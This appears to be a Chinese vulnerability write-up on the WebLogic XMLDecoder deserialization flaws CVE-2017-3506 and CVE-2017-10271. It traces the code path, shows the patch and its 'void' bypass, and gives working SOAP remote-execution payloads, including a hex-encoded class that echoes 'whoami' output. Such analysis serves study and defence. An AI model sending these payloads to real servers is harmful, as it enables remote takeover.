CVE-2017-3506
EXP:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd.exe</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>calc.exe</string>
</void>
</array>
<void method="start"/></object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
首先入口点断在wlserver_10.3/server/lib/weblogic.jar/weblogic/wsee/jaxws/workcontext/WorkContextServerTube/processRequest
方法
public NextAction processRequest(Packet var1) {
this.isUseOldFormat = false;
if (var1.getMessage() != null) {
//var1就是我们POST的xml
HeaderList var2 = var1.getMessage().getHeaders();
//判断是否有xml消息头
Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);
//根据WorkAreaConstants.WORK_AREA_HEADER定义的值。获取中间的内容。也就是我们xml的内容
if (var3 != null) {
this.readHeaderOld(var3);
this.isUseOldFormat = true;
}
Header var4 = var2.get(this.JAX_WS_WORK_AREA_HEADER, true);
if (var4 != null) {
this.readHeader(var4);
}
}
将获取到的恶意xmlpayload带入readHeaderOld方法
protected void readHeaderOld(Header var1) {
try {
XMLStreamReader var2 = var1.readHeader();
var2.nextTag();
var2.nextTag();
XMLStreamReaderToXMLStreamWriter var3 = new XMLStreamReaderToXMLStreamWriter();
ByteArrayOutputStream var4 = new ByteArrayOutputStream();
//创建了一个输出流
XMLStreamWriter var5 = XMLStreamWriterFactory.create(var4);
//往输出流里面写入了XML
var3.bridge(var2, var5);
var5.close();
WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray()));
//this.xmlDecoder = new XMLDecoder(var1); 把我们的恶意xml 实例化了赋值给了WorkContextXmlInputAdapter.xmlDecoder属性
this.receive(var6);
//根入receive方法。这里把WorkContextXmlInputAdapter对象传入了
} catch (XMLStreamException var7) {
throw new WebServiceException(var7);
} catch (IOException var8) {
throw new WebServiceException(var8);
}
}
protected void receive(WorkContextInput var1) throws IOException {
WorkContextMapInterceptor var2 = WorkContextHelper.getWorkContextHelper().getInterceptor();
var2.receiveRequest(var1);
//继续跟踪var1.进入receiveRequest方法
}
public void receiveRequest(WorkContextInput var1) throws IOException {
((WorkContextMapInterceptor)this.getMap()).receiveRequest(var1);
//跟进receiveRequest方法
}
public void receiveRequest(WorkContextInput var1) throws IOException {
while(true) {
try {
WorkContextEntry var2 = WorkContextEntryImpl.readEntry(var1);
//这个var1还是WorkContextXmlInputAdapter。进入了readEntry方法
。。。。。。。
public static WorkContextEntry readEntry(WorkContextInput var0) throws IOException, ClassNotFoundException {
String var1 = var0.readUTF();
//调用了WorkContextXmlInputAdapter对象的readUTF方法
return (WorkContextEntry)(var1.length() == 0 ? NULL_CONTEXT : new WorkContextEntryImpl(var1, var0));
}
public String readUTF() throws IOException {
return (String)this.xmlDecoder.readObject();
//最终调用了xmlDecoder.readObject
}
补丁如下:
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase(“object”)) {
throw newIllegalStateException(“Invalid context type: object”);
}
}
});
} catch(ParserConfigurationException var5) {
throw new IllegalStateException(“Parser Exception”, var5);
} catch(SAXException var6) {
throw new IllegalStateException(“Parser Exception”, var6);
} catch(IOException var7) {
throw new IllegalStateException(“Parser Exception”, var7);
}
}
如果xml标签中qName的值为object就报错。黑名单。。可以绕。所以出现了CVE-2017-10271
CVE-2017-10271
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd.exe</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>calc.exe</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
从PAYLOAD中可以看出。这里直接把object换成了void 也可以正常执行。之后还有调用各种类。然后二次xmldecode的绕过。
回显构造
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<void class="weblogic.utils.Hex" method="fromHexString" id="cls">
<string>0xcafebabe0000003200670a001700350800360a003700380a0039003a08003b0a0039003c07003d0a0007003508003e0a0039003f0a003900400b004100420800430800440800450800460700470a001100480a001100490a0011004a0a004b004c07004d07004e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c650100047468697301001e4c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578703b010003736179010029284c6a6176612f6c616e672f537472696e673b294c6a6176612f696f2f496e70757453747265616d3b010003636d640100124c6a6176612f6c616e672f537472696e673b01000769734c696e75780100015a0100056f73547970010004636d64730100104c6a6176612f7574696c2f4c6973743b01000e70726f636573734275696c64657201001a4c6a6176612f6c616e672f50726f636573734275696c6465723b01000470726f630100134c6a6176612f6c616e672f50726f636573733b0100164c6f63616c5661726961626c65547970655461626c650100244c6a6176612f7574696c2f4c6973743c4c6a6176612f6c616e672f537472696e673b3e3b01000d537461636b4d61705461626c6507004f07005001000a457863657074696f6e7307005101000a536f7572636546696c6501000b586d6c4578702e6a6176610c001800190100076f732e6e616d650700520c0053005407004f0c0055005601000377696e0c005700580100136a6176612f7574696c2f41727261794c697374010004244e4f240c0059005a0c005b005c0700500c005d005e0100092f62696e2f626173680100022d63010007636d642e6578650100022f630100186a6176612f6c616e672f50726f636573734275696c6465720c0018005f0c006000610c006200630700640c0065006601001c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578700100106a6176612f6c616e672f4f626a6563740100106a6176612f6c616e672f537472696e6701000e6a6176612f7574696c2f4c6973740100136a6176612f6c616e672f457863657074696f6e0100106a6176612f6c616e672f53797374656d01000b67657450726f7065727479010026284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e673b01000b746f4c6f7765724361736501001428294c6a6176612f6c616e672f537472696e673b010008636f6e7461696e7301001b284c6a6176612f6c616e672f4368617253657175656e63653b295a01000a73746172747357697468010015284c6a6176612f6c616e672f537472696e673b295a010009737562737472696e670100152849294c6a6176612f6c616e672f537472696e673b010003616464010015284c6a6176612f6c616e672f4f626a6563743b295a010013284c6a6176612f7574696c2f4c6973743b295601001372656469726563744572726f7253747265616d01001d285a294c6a6176612f6c616e672f50726f636573734275696c6465723b010005737461727401001528294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0021001600170000000000020001001800190001001a0000002f00010001000000052ab70001b100000002001b00000006000100000007001c0000000c000100000005001d001e00000001001f00200002001a0000016f000300070000009c043d1202b800034e2dc600112db600041205b60006990005033dbb000759b700083a042b1209b6000a99001319042b07b6000bb9000c020057a700441c9900231904120db9000c0200571904120eb9000c02005719042bb9000c020057a700201904120fb9000c02005719041210b9000c02005719042bb9000c020057bb0011591904b700123a05190504b60013571905b600143a061906b60015b000000004001b0000004a001200000012000200130008001400180015001a00180023001a002c001b003c001c0040001d004a001e0054001f00600021006a002200740023007d002600880027008f002800960029001c0000004800070000009c001d001e00000000009c0021002200010002009a00230024000200080094002500220003002300790026002700040088001400280029000500960006002a002b0006002c0000000c0001002300790026002d0004002e000000110004fd001a0107002ffc0021070030231c0031000000040001003200010033000000020034</string>
</void>
<void class="org.mozilla.classfile.DefiningClassLoader">
<void method="defineClass">
<string>com.supeream.exploits.XmlExp</string>
<object idref="cls"></object>
<void method="newInstance">
<void method="say" id="proc">
<string>whoami</string>
</void>
</void>
</void>
</void>
<void class="java.lang.Thread" method="currentThread">
<void method="getCurrentWork">
<void method="getResponse">
<void method="getServletOutputStream">
<void method="writeStream">
<object idref="proc"></object>
</void>
<void method="flush"/>
</void>
<void method="getWriter"><void method="write"><string></string></void></void>
</void>
</void>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
http://whip1ash.cn/2018/10/21/weblogic-deserialization/#%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA
https://blog.51cto.com/skytina/2055335